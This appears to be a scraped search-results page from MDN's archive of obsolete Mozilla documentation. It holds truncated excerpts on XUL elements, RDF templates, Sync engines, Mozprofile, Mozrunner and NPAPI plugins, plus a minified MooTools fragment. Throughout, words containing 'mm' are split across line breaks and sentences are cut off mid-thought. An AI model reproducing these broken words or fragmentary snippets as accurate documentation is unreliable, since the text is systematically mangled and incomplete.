... mozilla.partner.id=<name> app.partner.<name>=<name> app.distributor=<name> app.distributor.channel=<name> other preferences some settings are co
mmonly set in partner distributions.
JavaScript Client API - Archive of obsolete content
before developing against the javascript api, it is reco
mmended to speak to developers of the api.
... in this case, it is highly reco
mmended to use the utils.makeguid() helper to generate new guids: let newguid = utils.makeguid(); your store object must implement the following methods: itemexists(id) createrecord(id, collection) changeitemid(oldid, newid) getallids() wipe() create(record) update(record) remove(record) you may also find it useful to override other methods of the base implementation, for example appl...
...setting it to 100 means "sync me i
mmediately".
...stick your engine class on to the weave object: weave.fooengine = fooengine; and add "foo" to the services.sync.registerengines preference (it's a co
mma separated list of engine names).
Creating a Help Content Pack - Archive of obsolete content
however, while it may seem like this is a disadvantage, it's actually an advantage - if you make an error you'll know i
mmediately, and you should be able to easily figure out what the problem is by directly loading the file in firefox.
...one co
mmon use of this is to inherit the small using the help window article provided with the viewer.
...however, it is reco
mmended you use a space-separated list of uris for nc:datasources instead of separate entries, as separate entries will require a slightly longer time to load.
...it's exactly the same as any javascript co
mmand, you you can insert it in co
mmand elements, onco
mmand attributes, and other such places.
jspage - Archive of obsolete content
:function(b,a){window[b]=window.prototype[b]=a;}});window.prototype={$family:{name:"window"}}; new window(window);var document=new native({name:"document",legacy:(browser.engine.trident)?null:window.document,initialize:function(a){$uid(a);a.head=a.getelementsbytagname("head")[0]; a.html=a.getelementsbytagname("html")[0];if(browser.engine.trident&&browser.engine.version<=4){$try(function(){a.execco
mmand("backgroundimagecache",false,true); });}if(browser.engine.trident){a.window.attachevent("onunload",function(){a.window.detachevent("onunload",arguments.callee);a.head=a.html=a.window=null; });}return $extend(a,document.prototype);},afterimplement:function(b,a){document[b]=document.prototype[b]=a;}});document.prototype={$family:{name:"document"}}; new document(document);array.implement({every:f...
...t.keys.keyof(b);if(j=="keydown"){var d=b-111; if(d>0&&d<13){m="f"+d;}}m=m||string.fromcharcode(b).tolowercase();}else{if(j.match(/(click|mouse|menu)/i)){k=(!k.compatmode||k.compatmode=="css1compat")?k.html:k.body; var i={x:a.pagex||a.clientx+k.scrollleft,y:a.pagey||a.clienty+k.scrolltop};var c={x:(a.pagex)?a.pagex-f.pagexoffset:a.clientx,y:(a.pagey)?a.pagey-f.pageyoffset:a.clienty}; if(j.match(/do
mmousescroll|mousewheel/)){var h=(a.wheeldelta)?a.wheeldelta/120:-(a.detail||0)/3;}var e=(a.which==3)||(a.button==2);var l=null;if(j.match(/over|out/)){switch(j){case"mouseover":l=a.relatedtarget||a.fromelement; break;case"mouseout":l=a.relatedtarget||a.toelement;}if(!(function(){while(l&&l.nodetype==3){l=l.parentnode;}return true;}).create({attempt:browser.engine.gecko})()){l=false; }}}}return $ext...
...ch(function(e){e.create({bind:this,delay:a,"arguments":b})(); },this);return this;},cloneevents:function(d,a){d=document.id(d);var c=d.retrieve("events");if(!c){return this;}if(!a){for(var b in c){this.cloneevents(d,b); }}else{if(c[a]){c[a].keys.each(function(e){this.addevent(a,e);},this);}}return this;}});element.nativeevents={click:2,dblclick:2,mouseup:2,mousedown:2,contextmenu:2,mousewheel:2,do
mmousescroll:2,mouseover:2,mouseout:2,mousemove:2,selectstart:2,selectend:2,keydown:2,keypress:2,keyup:2,focus:2,blur:2,change:2,reset:2,select:2,submit:2,load:1,unload:1,beforeunload:2,resize:1,move:1,domcontentloaded:1,readystatechange:1,error:1,abort:1,scroll:1}; (function(){var a=function(b){var c=b.relatedtarget;if(c==undefined){return true;}if(c===false){return false;}return($type(this)!="docu...
...ment"&&c!=this&&c.prefix!="xul"&&!this.haschild(c)); };element.events=new hash({mouseenter:{base:"mouseover",condition:a},mouseleave:{base:"mouseout",condition:a},mousewheel:{base:(browser.engine.gecko)?"do
mmousescroll":"mousewheel"}}); })();element.properties.styles={set:function(a){this.setstyles(a);}};element.properties.opacity={set:function(a,b){if(!b){if(a==0){if(this.style.visibility!="hidden"){this.style.visibility="hidden"; }}else{if(this.style.visibility!="visible"){this.style.visibility="visible";}}}if(!this.currentstyle||!this.currentstyle.haslayout){this.style.zoom=1;}if(browser.engine.trident){this.style.filter=(a==1)?"":"alpha(opacity="+a*100+")"; }this.style.opacity=a;this.store("opacity",a);},get:function(){return this.retrieve("opacity",1);}};element.implement({setopacity:fu...
Mozilla Application Framework - Archive of obsolete content
we provide a comprehensive framework that does much of the work for you, tools to help you develop your apps, and a co
mmunity of people to help.
... necko a wicked-fast, extensible networking library with built-in support for many co
mmon protocols and a well-defined plug-in interface for custom protocol handling so you can add the protocols you need.
... co
mmunity a large, active development co
mmunity that interacts via newsgroups, mailing lists, irc channels, and web sites.
... original document information author(s): myk melez last updated date: march 3, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
RDF Datasource How-To - Archive of obsolete content
the xpcom registration parts and the "as of this writing, it is not currently possible to implement javascript xpcom components" co
mment seem outdated didn't check the whole article.
...an "imap datasource" would use the imap protocol to translate your mail server's inbox as a collection of statements like "message number 126's subject is 'make money fast on the internet'" and "message number 126 was sent by 'spa
mmer128@hotmail.com'".
... an "address book" datasource could translate a database file into statements like "spa
mmer128@hotmail.com's real name is 'billy dumple'" and "spa
mmer128@hotmail.com is considered an 'important friend'." statements from one datasource can be combined with statements from another datasource using a composite datasource.
... [more info on what each method needs to do here] rdf co
mmands [describe what co
mmands are, and why you'd implement them.] registering the datasource component a datasource is an xpcom component.
Frequently Asked Questions - Archive of obsolete content
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> actually the second binding isn't always required, but unless you understand namespaces, we'd strongly reco
mmend you include it.
...(it doesn't mean there's an error in mozilla.) there are many different xml errors, but the most co
mmon one in svg files is "xml parsing error: prefix not bound to a namespace".
...if you're a c++ progra
mmer interested in working on the svg implementation, please contact us and we'll be happy to help you get involved.
... original document information author(s): jonathan watt last updated date: november 6, 2006 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Space Manager Detailed Design - Archive of obsolete content
*/ void gettranslation(nscoord& ax, nscoord& ay) const { ax = mx; ay = my; } /** * returns the y-most of the botto
mmost band or 0 if there are no bands.
... */ void gettranslation(nscoord& ax, nscoord& ay) const { ax = mx; ay = my; } /** * returns the y-most of the botto
mmost band or 0 if there are no bands.
...there are several cases it has to handle, as specified in the source file co
mments: // when comparing a rect to a band there are seven cases to consider.
... +-----+ // | | | r | | b | | | +-----+ // | b | +-----+ +-----+ | r | | b | // | | | | +-----+ // +-----+ +-----+ // +-----+ // | r | // +-----+ // first, check for the easiest case, where there are no existing bandrects, or the band rect passed in is below the botto
mmost rect.
File object - Archive of obsolete content
if you are building a standalone version of spidermonkey (see: spidermonkey build documentation), this variable can be added on the make co
mmand line, like so: cd mozilla/js/src make -f makefile.ref js_has_file_object=1 alternatively, if you are building a larger product (such as a browser) and want to include the file object, you may need to perform minor makefile surgery.
... su
mmary non-standard server-side object this object lets you work files and directories on the local filesystem, and create os pipelines.
... creating a pipeline involves spawning arbitrary processes; this means that giving a script access to the file object is exactly equivalent to giving the script access to the unix shell or dos co
mmand interpreter.
... file.flush() flushes the operating system's write buffers for the file and blocks until any pending data has been co
mmitted to disk.
Table Layout Regression Tests - Archive of obsolete content
as you will probably run your normal mozilla in parallel with the testing issue then: set moz_no_remote=1 at the co
mmand prompt.
... place the images in table/images block/images or (don't forget cvs co
mmit -kb) and the test file in the table/bugs or block/bugs directory.
... additional notes there is a special type of frame dumps - the printing regression tests, they are invoked by the -prt co
mmand line argument to the viewer and include first a display then a frame dump taking into account the printer pages.
... original document information author(s): bernd mielke other contributors: boris zbarsky last updated date: february 5, 2007 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Venkman - Archive of obsolete content
learning the javascript debugger venkman written by svend tofte to the javascript progra
mmers who are not familiar with other debugging tools.
... venkman faq answers to co
mmon questions on venkman.
... source code the source code for venkman may be found in mercurial at the following url: http://hg.mozilla.org/venkman/su
mmary co
mmunity view mozilla forums...
... related topics javascript, web development, developing mozilla original document information author(s): robert ginda other contributors: doctor unclear last updated date: july 13, 2007 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
accesskey - Archive of obsolete content
when the user presses a modifier key specific to the platform (eg, control* on windows, co
mmand* on macintosh) and the access key, the element will be focused and/or activated from anywhere in the window.
... on the macintosh, labels are never underlined, however accesskeys can still be used by pressing the letter combined with the co
mmand key.
... it is reco
mmended that you only use characters that appear in the label.
... however in some languages, for example, in japanese, characters will not always map directly to single keys, and it is quite co
mmon to have labels which cannot have a single accesskey.
reserved - Archive of obsolete content
« xul reference home reserved type: string this attribute applies to a co
mmand element.
... setting this attribute to "true" indicates that the co
mmand is reserved for chrome code and is not available for use in the content.
... this means that, to execute these co
mmands, key events won't be passed to content, and event listeners registered for them in content will not be executed.
... example here, the co
mmand to open a new browser window is reserved: <co
mmand id="cmd_newnavigator" onco
mmand="openbrowserwindow()" reserved="true"/> if the keyboard shortcut for that is accel-t, then this code will not work as expected, as compared to when it is run from web content: document.addeventlistener("keydown", handlekey, true); function handlekey(event) { // listen for the "new tab" shortcut if (event.metakey && (event.key == "t")) { // log a message console.log("intercepted accel-t"); // prevent the default browser action event.preventdefault(); event.stoppropagation(); } } ...
findbar - Archive of obsolete content
attributes browserid, findnextaccesskey, findpreviousaccesskey, highlightaccesskey, matchcaseaccesskey properties browser, findmode methods close, onfindagainco
mmand, open, startfind, togglehighlight example <browser type="content-primary" flex="1" id="content" src="about:blank"/> <findbar id="findtoolbar" browserid="content"/> attributes browserid type: string the id of the browser element to which the findbar is attached.
... possible values are: find_normal (0): normal find find_typeahead (1): typeahead find find_links (2): link find methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
... onfindagainco
mmand( findprevious ) return type: no return value call this method to handle your application's "find next" and "find previous" co
mmands.
... you should specify true as the input parameter to perform a "find previous" operation, or false to perform a "find next." startfind( mode ) return type: no return value call this method to handle your application's "find" co
mmand.
Special Condition Tests - Archive of obsolete content
ion label="?title"/> </groupbox> </action> </rule> <rule> <binding subject="?item" predicate="http://www.xulplanet.com/rdf/address" object="?address"/> <action> <label uri="?item" value="?address"/> </action> </rule> </template> </vbox> containment tests for rdf sources, the simple rule syntax supports two special conditional tests that are co
mmonly used with multiple rules.
...it is co
mmonly used with menus, and we can rewrite the previous example using the iscontainer attribute instead.
...this condition test is co
mmonly used to display the generated content differently for empty and non-empty containers.
... you will co
mmonly use the two attributes iscontainer and isempty together in different combinations to create the effect you need.
Template Builder Interface - Archive of obsolete content
this isn't a very co
mmon technique, however, here is an example of how this can be used: <html:div id="photoslist" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:html="http://www.w3.org/1999/xhtml"> <html:h1>my photos</html:h1> <template> <html:p uri="rdf:*"><textnode value="rdf:http://purl.org/dc/elements/1.1/title"/></html:p> </template> </html...
...to su
mmarize, the refresh method reloads the data, whereas the rebuild method reconstructs the content.
...a co
mmon pattern is to use the following: var rdf = components.classes["@mozilla.org/rdf/rdf-service;1"].
...if you do plan on determining the datasources dynamically, it is co
mmon to start with an empty datasource using the special uri 'rdf:null'.
Adding Methods to XBL-defined Elements - Archive of obsolete content
xul: <box id="num" class="labeledbutton" title="number of things:" value="52"/> <button label="show" onco
mmand="document.getelementbyid('num').showtitle(true)"/> <button label="hide" onco
mmand="document.getelementbyid('num').showtitle(false)"/> xbl: <binding id="labeledbutton"> <content> <xul:label xbl:inherits="value=title"/> <xul:label xbl:inherits="value"/> </content> <implementation> <method name="showtitle"> <parameter name="state"/> <body> if (state) { ...
... document.getanonymousnodes(this)[0].setattribute("style", "visibility: visible"); } else { document.getanonymousnodes(this)[0].setattribute("style", "visibility: collapse"); } </body> </method> </implementation> </binding> two buttons added to the xul have onco
mmand handlers which are used to change the visibility of the label.
...for example, we could move the show and hide buttons into the xbl file and do the following: example 1: source <binding id="labeledbutton"> <content> <xul:label xbl:inherits="value=title"/> <xul:label xbl:inherits="value"/> <xul:button label="show" onco
mmand="document.getbindingparent(this).showtitle(true);"/> <xul:button label="hide" onco
mmand="document.getbindingparent(this).showtitle(false);"/> </content> <implementation> <method name="showtitle"> <parameter name="state"/> <body> if (state) { document.getanonymousnodes(this)[0].setattribute("style","visibility: visible"); } else { docu...
...ment.getanonymousnodes(this)[0].setattribute("style","visibility: collapse"); } </body> </method> </implementation> </binding> the onco
mmand handlers here first get a reference to their parent bound element.
Creating a Window - Archive of obsolete content
<!-- other elements go here --> replace this co
mment block with other elements (the buttons, menus and other user interface components) to appear in the window.
... you can use the co
mmand-line parameter '-chrome' to specify the xul file to open when mozilla starts.
...(usually the browser window.) for example, we could open the find files dialog with either of the following: mozilla -chrome chrome://findfile/content/findfile.xul mozilla -chrome resource:/chrome/findfile/content/findfile.xul if you run this co
mmand from a co
mmand-line (assuming you have one on your platform), the find files dialog will open by default instead of the mozilla browser window.
... to see the effect though, the following will open the bookmarks window: mozilla -chrome chrome://co
mmunicator/content/bookmarks/bookmarksmanager.xul if you are using firefox, try below.
Localization - Archive of obsolete content
> <script src="findfile.js"/> <popupset> <menupopup id="editpopup"> <menuitem label="&cutcmd.label;" accesskey="&cutcmd.accesskey;"/> <menuitem label="©cmd.label;" accesskey="©cmd.accesskey;"/> <menuitem label="&pastecmd.label;" accesskey="&pastecmd.accesskey;" disabled="true"/> </menupopup> </popupset> <keyset> <key id="cut_cmd" modifiers="accel" key="&cutcmd.co
mmandkey;"/> <key id="copy_cmd" modifiers="accel" key="©cmd.co
mmandkey;"/> <key id="paste_cmd" modifiers="accel" key="&pastecmd.co
mmandkey;"/> <key id="close_cmd" keycode="vk_escape" onco
mmand="window.close();"/> </keyset> <vbox flex="1"> <toolbox> <menubar id="findfiles-menubar"> <menu id="file-menu" label="&filemenu.label;" accesskey="&filemenu.accesskey;"> <me...
...nupopup id="file-popup"> <menuitem label="&opencmd.label;" accesskey="&opencmd.accesskey;"/> <menuitem label="&savecmd.label;" accesskey="&savecmd.accesskey;"/> <menuseparator/> <menuitem label="&closecmd.label;" accesskey="&closecmd.accesskey;" key="close_cmd" onco
mmand="window.close();"/> </menupopup> </menu> <menu id="edit-menu" label="&editmenu.label;" accesskey="&editmenu.accesskey;"> <menupopup id="edit-popup"> <menuitem label="&cutcmd.label;" accesskey="&cutcmd.accesskey;" key="cut_cmd"/> <menuitem label="©cmd.label;" accesskey="©cmd.accesskey;" key="copy_cmd"/> <menuitem label="&pastecmd.label;" ...
...local"/> <treecell label="&bytes.before;2520&bytes.after;"/> </treerow> </treeitem> </treechildren> </tree> <splitter id="splitbar" resizeafter="grow" style="display: none;"/> <spacer class="titlespace"/> <hbox> <progressmeter id="progmeter" value="50%" style="display: none;"/> <spacer flex="1"/> <button id="find-button" label="&button.find;" onco
mmand="dofind()"/> <button id="cancel-button" label="&button.cancel;" onco
mmand="window.close();"/> </hbox> </vbox> </window> each text string has been replaced by an entity reference.
...bel "open search..."> <!entity savecmd.label "save search..."> <!entity closecmd.label "close"> <!entity opencmd.accesskey "o"> <!entity savecmd.accesskey "s"> <!entity closecmd.accesskey "c"> <!entity cutcmd.label "cut"> <!entity copycmd.label "copy"> <!entity pastecmd.label "paste"> <!entity cutcmd.accesskey "t"> <!entity copycmd.accesskey "c"> <!entity pastecmd.accesskey "p"> <!entity cutcmd.co
mmandkey "x"> <!entity copycmd.co
mmandkey "c"> <!entity pastecmd.co
mmandkey "v"> <!entity opencmdtoolbar.label "open"> <!entity savecmdtoolbar.label "save"> <!entity searchtab "search"> <!entity optionstab "options"> <!entity finddescription "enter your search criteria below and select the find button to begin the search."> <!entity findcriteria "search criteria"> <!entity type.name "name"> <!entity...
RDF Datasources - Archive of obsolete content
example 3 : source view <window id="example-window" title="history list" xmlns:animals="http://www.some-fictitious-zoo.com/rdf#" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <button label="click here to see the ma
mmals the zoo has" type="menu" datasources="animals.rdf" ref="http://www.some-fictitious-zoo.com/ma
mmals"> <template> <rule animals:specimens="0"></rule> <rule> <menupopup> <menuitem uri="rdf:*" label="rdf:http://www.some-fictitious-zoo.com/rdf#name"/> </menupopup> </rule> </template> </button> </window> in this case only the ma
mmals are desired, so we s...
...elect the uri of the ma
mmals list.
... you will notice that the value of the ref attribute in the example is http://www.some-fictitious-zoo.com/ma
mmals which corresponds to one of the seq elements in the rdf file.
...the end effect is that we get a popup menu containing all the ma
mmals which have a specimen that is not 0.
Using Remote XUL - Archive of obsolete content
it contains elements for all co
mmon ui widgets (menus, buttons, toolbars, etc.) and many sophisticated ones (trees, browsers, color pickers).
...bel="the mozilla organization"> <menupopup> <menuitem label="at a glance" value="https://www.mozilla.org/mozorg.html" /> <menuitem label="feedback" value="https://www.mozilla.org/feedback.html" /> <menuitem label="get involved" value="https://www.mozilla.org/get-involved.html" /> <menuitem label="newsgroups" value="https://www.mozilla.org/co
mmunity.html" /> <menuitem label="license terms" value="https://www.mozilla.org/mpl/" /> <menuitem label="newsbot" value="https://www.mozilla.org/newsbot/" /> </menupopup> </menu> <menu label="developer docs"> <menupopup> <menuitem label="roadmap" value="https://www.mozilla.org/roadmap.html" /> <menuitem label="projects" va...
...we add an id attribute to the iframe element so we can reference it from our function, and we add an onco
mmand event listener to the menubar element that calls the function every time the user clicks a button or selects a menu item.
... the onco
mmand event listener is a generic listener that fires whenever the user manipulates an element in some conclusive way.
editor - Archive of obsolete content
attributes editortype, src, type properties accessibletype, co
mmandmanager, contentdocument, contentwindow, docshell, editingsession, editortype, webbrowserfind, webnavigation methods geteditor, gethtmleditor, makeeditable examples this example shows how to made the editor editable by setting the designmode property of the loaded html document: <script language="javascript"> function initeditor(){ // this function is called to set up the editor va...
...r editor = document.getelementbyid("myeditor"); editor.contentdocument.designmode = 'on'; } </script> <editor id="myeditor" editortype="html" src="about:blank" flex="1" type="content-primary"/> once editable, the document can have special formatting and other html pieces added to it using the document.execco
mmand method: var editor = document.getelementbyid("myeditor"); // toggle bold for the current selection editor.contentdocument.execco
mmand("bold", false, null); see the midas overview for more co
mmand strings.
... co
mmandmanager type: nsico
mmandmanager the co
mmand manager handles operations on the editor.
... inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
listitem - Archive of obsolete content
attributes accesskey, checked, co
mmand, crop, current, disabled, image, label, preference, selected, tabindex, type, value properties accesskey, accessible, checked, control, crop, current, disabled, image, label, selected, tabindex, value style classes listitem-iconic examples <listbox id="thelist"> <listitem label="ruby"/> <listitem label="emerald"/> <listitem label="sapphire" selected="true"/> <listitem la...
... co
mmand type: id set to the id of a co
mmand element that is being observed by the element.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
notificationbox - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
... removeallnotifications( i
mmediate ) return type: no return value remove all notifications.
... if i
mmediate is true, the messages are removed i
mmediately.
... if i
mmediate is false, the notifications are removed using a slide transition.
radio - Archive of obsolete content
attributes accesskey, co
mmand, crop, disabled, focused, group, image, label, selected, tabindex, value properties accesskey, accessibletype, control, crop, disabled, image, label, radiogroup, selected, tabindex, value examples <radiogroup> <radio id="orange" label="red" accesskey="r"/> <radio id="violet" label="green" accesskey="g" selected="true"/> <radio id="yellow" label="blue" accesskey="b" disabled="...
... co
mmand type: id set to the id of a co
mmand element that is being observed by the element.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
window - Archive of obsolete content
disablefastfind, drawintitlebar, fullscreenbutton, height, hidechrome, id, lightweightthemes, lightweightthemesfooter, screenx, screeny, sizemode, title, width, windowtype examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!-- run this example using copy & paste in this live xul editor: https://github.com/km-200/xul --> <!-- extremely reco
mmended to keep this css include!!
...mation"/> <radiogroup> <vbox> <hbox> <label control="your-fname" value="enter first name:"/> <textbox id="your-fname" value="johan"/> </hbox> <hbox> <label control="your-lname" value="enter last name:"/> <textbox id="your-lname" value="hernandez"/> </hbox> <hbox> <button onco
mmand="alert('save!')"> <description>save</description> </button> </hbox> </vbox> </radiogroup> </groupbox> </vbox> </window> attributes accelerated type: booleanset this attribute to true to allow hardware layer managers to accelerate the window.
...the specified string should contain four numbers, separated by co
mmas, indicating the margin in pixels for the top, right, bottom, and left edges of the window, respectively.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
Getting started with XULRunner - Archive of obsolete content
main.xul: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="main" title="my app" width="300" height="300" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://myapp/content/main.js"/> <caption label="hello world"/> <separator/> <button label="more >>" onco
mmand="showmore();"/> <separator/> <description id="more-text" hidden="true">this is a simple xulrunner application.
... windows from a windows co
mmand prompt opened to the myapp folder, we should be able to execute this: c:\path\to\xulrunner.exe application.ini of course, if you opted to install xulrunner then you could simply do %programfiles%\xulrunner.exe application.ini or on 64 bit systems %programfiles(x86)%\xulrunner.exe application.ini note: you can also install your application when you're finished debugging it.
... mac on the mac, before you can run a xulrunner application with everything intact, you must install it using the --install-app xulrunner co
mmandline flag.
... alternative: run xul apps with firefox with firefox 3 and later, you can tell the firefox executable to run a xul application from the co
mmand line.
XUL Application Packaging - Archive of obsolete content
they can be installed to xulrunner with a co
mmand line flag "--install-app" if xulrunner is registered on the system.
... see co
mmand line options for more details.
...lines beginning with ; or # are treated as co
mments.
...the email format is reco
mmended for newly developed applications.
application/http-index-format specification - Archive of obsolete content
number codes 100 a human readable co
mment line.
...this data is not intended for display to the end user and is only meant as a co
mment to make the file format clear to a human interpreter.
... example 100: this is a co
mment!
...3 text/html file tue,%2025%20oct%201994%2008:12:31%20gmt 201: foobar 0 application/http-index-format directory tue,%2025%20oct%201994%2008:12:31%20gmt original document information author(s): christian biesinger last updated date: may 10, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Mozprofile - Archive of obsolete content
mozprofile can be utilized from the co
mmand line or as an api.
... co
mmand line usage mozprofile may be used to create profiles, set preferences in profiles, or install addons into profiles.
...if a profile is not specified, one will be created in a temporary directory which will be echoed to the terminal: (mozmill)> mozprofile /tmp/tmp4q1ieu.mozrunner (mozmill)> ls /tmp/tmp4q1ieu.mozrunner user.js to run mozprofile from the co
mmand line enter: mozprofile --help for a list of options.
...ofile = firefoxprofile(addons=["adblock.xpi"]) setting preferences preferences can be set in several ways: using the api: you can pass preferences in to the profile class's constructor: obj = firefoxprofile(preferences=[("accessibility.typeaheadfind.flashbar", 0)]) using a json blob file: mozprofile --preferences myprefs.json using a .ini file: mozprofile --preferences myprefs.ini via the co
mmand line: mozprofile --pref key:value --pref key:value [...] when setting preferences from an .ini file or the --pref switch, the value will be interpolated as an integer or a boolean (true/false) if possible.
Mozrunner - Archive of obsolete content
mozrunner may be used from the co
mmand line or progra
mmatically as an api.
... co
mmand line usage the mozrunner co
mmand will launch the application (specified by --app) from a binary specified with -b or as located on the path.
... mozrunner takes the co
mmand line options from mozprofile for constructing the profile to be used by the application.
... run mozrunner --help for detailed information on the co
mmand line program.
2006-11-17 - Archive of obsolete content
su
mmary: mozilla.dev.tech.layout - november 11 - november 17, 2006 announcements none this week.
... discussions testing accesskey conflicts discussion about the complexity of access keys and how to detect conflicts there in the l10n co
mmunity.
...if bugs are filed, "[reflow branch]" should be placed at the beginning of the su
mmary.
...the possibility of turning the microsu
mmaryresource object into a xpcom component, which accomplishes this task in a "hacky" manner, was also discussed.
NPN_GetURL - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api su
mmary asks the browser to create a stream for the specified url.
...not reco
mmended; if target refers to the window or frame containing the instance, the instance is destroyed and the plug-in may be unloaded.
... _parent: load the link into the i
mmediate <frameset> parent of the plug-in instance's document.
...the following reco
mmendations about target choice apply to other methods that handle urls as well.
Tamarin Tracing Build Documentation - Archive of obsolete content
use the following co
mmand to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-tracing tamarin-tracing building tamarin building tamarin will create all the libraries for the avmplus and garbage collector (
mmgc), and create a standalone executable, avmshell, for executing files in the abc file format.
...note that additional co
mmand-line arguments are only available in the debug configuration.
...nor does any other brand of make.) with the right prerequisites, use these co
mmands to build tamarin tracing: $ hg clone http://hg.mozilla.org/tamarin-tracing $ cd tamarin-tracing $ mkdir objdir-debug $ cd objdir-debug $ python ../configure.py --enable-shell $ make ...
...any co
mments, questions or problems can be directed to brent baker how to setup a user repository with the source and patches that will be compiled.
References - Archive of obsolete content
<- previous section: su
mmary of changes you can learn more on using web standards from these sites (listed in no particular order): what are web standards and why should i use them?
...the webpage explains and proposes with small examples the best coding practices and most reco
mmendable ways of developing problem-free javascript code.
...we highly reco
mmend this site.
... <- previous section: su
mmary of changes ...
Using Web Standards in your Web Pages - Archive of obsolete content
the problem lies with designers and developers chained to the browser-quirk-oriented markup of the 1990s-often because they don't realize it is possible to support current standards while acco
mmodating old browsers." -web standards project this article provides an overview of the process for upgrading the content of your web pages to conform to the world wide web consortium (w3c) web standards.
...how to upgrade a webpage markup code to pass validation and how to implement css are addressed by providing reco
mmendations, tutorials and references.
... the next-to-last section, su
mmary of changes, outlines all the changes described in this article.
... contents benefits of using web standards making your page using web standards - how to using the w3c dom developing cross browser and cross platform pages using xmlhttprequest su
mmary of changes references original document information author(s): mike cowperthwaite, marcio galli, jim ley, ian oeschger, simon paquet, gérard talbot last updated date: may 29, 2008 copyright information: portions of this content are © 1998–2008 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
The global XML object - Archive of obsolete content
the following example defines the foocount() method, which returns the amount of <foo> elements in the xml: xml.prototype.function::foocount = function foocount() { return this..foo.length(); }; <foobar><foo/><foo/><foo/></foobar>.foocount() // returns 3 ignoreco
mments true by default.
... this property tells e4x to ignore co
mment nodes when serializing and filtering.
... this means that if ignoreco
mments is true, the list returned by .co
mments() will be empty.
... observe: var element = <foo> <!-- my co
mment --> <bar/> </foo>; element.co
mments().length(); // returns 0 element.toxmlstring(); // returns <foo><bar/></foo> xml.ignoreco
mments = false; element = <foo> <!-- my co
mment --> <bar/> </foo>; element.co
mments().length(); // returns 1 element.toxmlstring(); // returns <foo><!-- my co
mment --><bar/></foo> ignoreprocessinginstructions true by default.
XForms - Archive of obsolete content
this extension, while supporting a significant subset of the xforms 1.0 and 1.1 candidate reco
mmendations, is not actively maintained any more since about 2010.
... troubleshooting tips for xforms a small collection of tips for troubleshooting co
mmon problems with xforms forms.
... co
mmunity view mozilla forums...
... mailing list newsgroup rss feed #xforms channel on irc.mozilla.org w3c forms mailing list other co
mmunity links...
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
we leverage some of these ideas to help you make your netscape co
mmunicator 4.x plugins exposed to javascript in mozilla based browsers.
...windows co
mmand uuidgen should be sufficient.
